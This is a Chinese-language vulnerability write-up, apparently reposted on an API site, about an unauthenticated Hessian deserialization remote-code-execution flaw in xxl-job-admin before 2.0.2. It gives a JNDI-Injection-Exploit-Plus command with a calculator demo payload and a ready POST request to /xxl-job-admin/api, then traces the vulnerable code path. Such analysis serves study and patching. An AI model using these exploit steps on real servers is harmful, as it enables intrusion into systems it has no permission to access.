使用JNDI-Injection-Exploit-Plus監聽rmi請求:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

項目地址:

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

發送請求包:

數據包:

POST /xxl-job-admin/api HTTP/1.1
Host: 192.168.22.5:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: x-application/hessian
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{{file(xxx/java/xxl-job/cmd.ser)}}

0x02 漏洞分析

0x02.1 漏洞搭建

版本小于2.0.2

直接clone源碼后修改logback.xml的log.path為本地文件路徑,然后導入MySQL文件,直接啟動即可:

0x02.2 漏洞分析

根據請求的接口為api查找到對應的Controller為com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)這里將limit設置為false就不需要鑒權,進入到這里直接進入下一步:

進入

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService

在這里面沒有做任何操作:

隨后就會進入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle中

首先判斷target是否為/services,不是則會進入

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中

對請求進行處理:

進入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中

首先將請求中的body全部讀取出來,讀取出來的則會直接進行反序列化操作:

接下來就是查找是那個類進行反序列化操作,主要通過查找XxlRpcProviderFactory這個工廠類在那些地方被初始化,直接使用idea右鍵的find Usages:

總的就兩個地方實例化了這個類:

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler和com.xxl.job.core.executor.XxlJobExecutor

在這兩個類中都是調用

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法

對成員變量賦值:

而在

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二個參數

就是剛才調用的反序列化類,通過工廠類返回給

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest

使用:

這里放進去的反序列化類就是com.xxl.rpc.serialize.impl.HessianSerializer ,這里面其實調用的還是Hessian2進行反序列化:

最終在

com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中進行hessian2

反序列化操作:

本文章轉載微信公眾號@雜七雜八聊安全

上一篇:

Nexus 1.0:面向類型安全、代碼優先GraphQL API的重大版本發布

下一篇:

四連問:API 接口應該如何設計?如何保證安全?如何簽名?如何防重?
#你可能也喜歡這些API文章!

我們有何不同?

API服務商零注冊

多API并行試用

數據驅動選型,提升決策效率

查看全部API→
??

熱門場景實測,選對API

#AI文本生成大模型API

對比大模型API的內容創意新穎性、情感共鳴力、商業轉化潛力

25個渠道
一鍵對比試用API 限時免費

#AI深度推理大模型API

對比大模型API的邏輯推理準確性、分析深度、可視化建議合理性

10個渠道
一鍵對比試用API 限時免費